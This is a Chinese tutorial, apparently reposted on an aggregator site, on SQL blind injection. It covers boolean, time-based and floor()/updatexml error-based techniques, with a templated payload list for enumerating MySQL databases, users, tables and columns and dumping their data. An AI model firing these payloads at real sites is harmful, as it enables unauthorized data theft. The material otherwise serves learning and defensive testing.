WEB安全番外第四篇--关于SQL盲注
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了WEB安全番外第四篇--关于SQL盲注,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4954字,纯文字阅读大概需要8分钟。
内容图文
![WEB安全番外第四篇--关于SQL盲注](/upload/InfoBanner/zyjiaocheng/499/e45018182767425cae3410bfa9f62e60.jpg)
实战时。前面一个判断是永真的时候,拼接一个判断,例如【substring(database(),1,1)=‘a‘】
1 """ 2 例如id=1,有正常回显 3 那么: 4 id = 1 and substring(database(),1,1)=‘a‘ 5 如果后面对了,就有返回,不对就没有,从而一个一个爆出来 6 """
三、第二种--基于时间类型的盲注:
1 """ 2 select * from tablename where id=‘103‘ and if(substring(database(),1,1)=‘a‘,sleep(5),null)‘; 3 """
这里如果猜解第一个字符成功,会sleep 5s 否则不会【if(expr1,result1,result2)#如果expr1成立 result1 否则 result2】
以上两种详细请参见:
WEB安全第四篇--与数据库的亲密接触:SQL注入攻击
四、第三种--特殊的错误注入(本次的重点):
0、这里的报错是指
1、floor报错的
(1)公式:
1 """ 2 ?id=2‘ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (核心语句) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+ 3 """
(2)原理:
引用自reber的博客https://www.jianshu.com/p/8c2343705100
1 """ 2 floor()是取整数 3 rand()在0和1之间产生一个随机数 4 rand(0)*2将取0到2的随机数 5 floor(rand()*2)有两条记录就会报错 6 floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的 7 count(*)是用来统计结果的,相当于刷新一次结果 8 group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入,存在的话count(*)加1 9 在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次,导致会使主键中存在重复-->报错 10 """
五、payload-->爆破数据的语句:
1、database信息
#database count ‘ and(select 1 from(select+count(*),concat((select (select (select+concat(0x7e7e3a7e7e, count(distinct table_schema),0x7e7e3a7e7e) from information_schema.tables)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+#database name ‘ and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e7e3a7e7e, table_schema, 0x7e7e3a7e7e) from information_schema.tables limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
2、current DB信息
1 #current-database-name 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/database()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #current
3、current USER信息
1 #current USER 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(select/**/concat(0x7e7e3a7e7e,/**/(select/**/user()),/**/0x7e7e3a7e7e)))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #current
4、table 信息
1 #table count 2 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/count(table_name),/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+ 3 #table name 4 ‘+and(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/(/**/select/**/concat(0x7e7e3a7e7e,/**/table_name,/**/0x7e7e3a7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=%s/**/limit/**/%d,1))/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)--+
5、column 信息
1 #column num 2 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,count(column_name),0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 3 #column name 4 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(0x7e7e3a7e7e,column_name,0x7e7e3a7e7e) from information_schema.columns where table_name=%s and table_schema=%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
6、数据
1 #data 2 ‘+and(select 1 from(select count(*),concat((select (select ( select concat(%s) from %s.%s limit %d,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
7、补充:仅针对32位有效的:
?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
六、参考文献:
http://wyb0.com/posts/injection-of-error-based/
WEB安全番外第四篇--关于SQL盲注
标签:结果 安全 res color sele 基于 数据 注入攻击 data
本文系统来源:https://www.cnblogs.com/KevinGeorge/p/8442632.html
内容总结
以上是互联网集市为您收集整理的WEB安全番外第四篇--关于SQL盲注全部内容,希望文章能够帮你解决WEB安全番外第四篇--关于SQL盲注所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。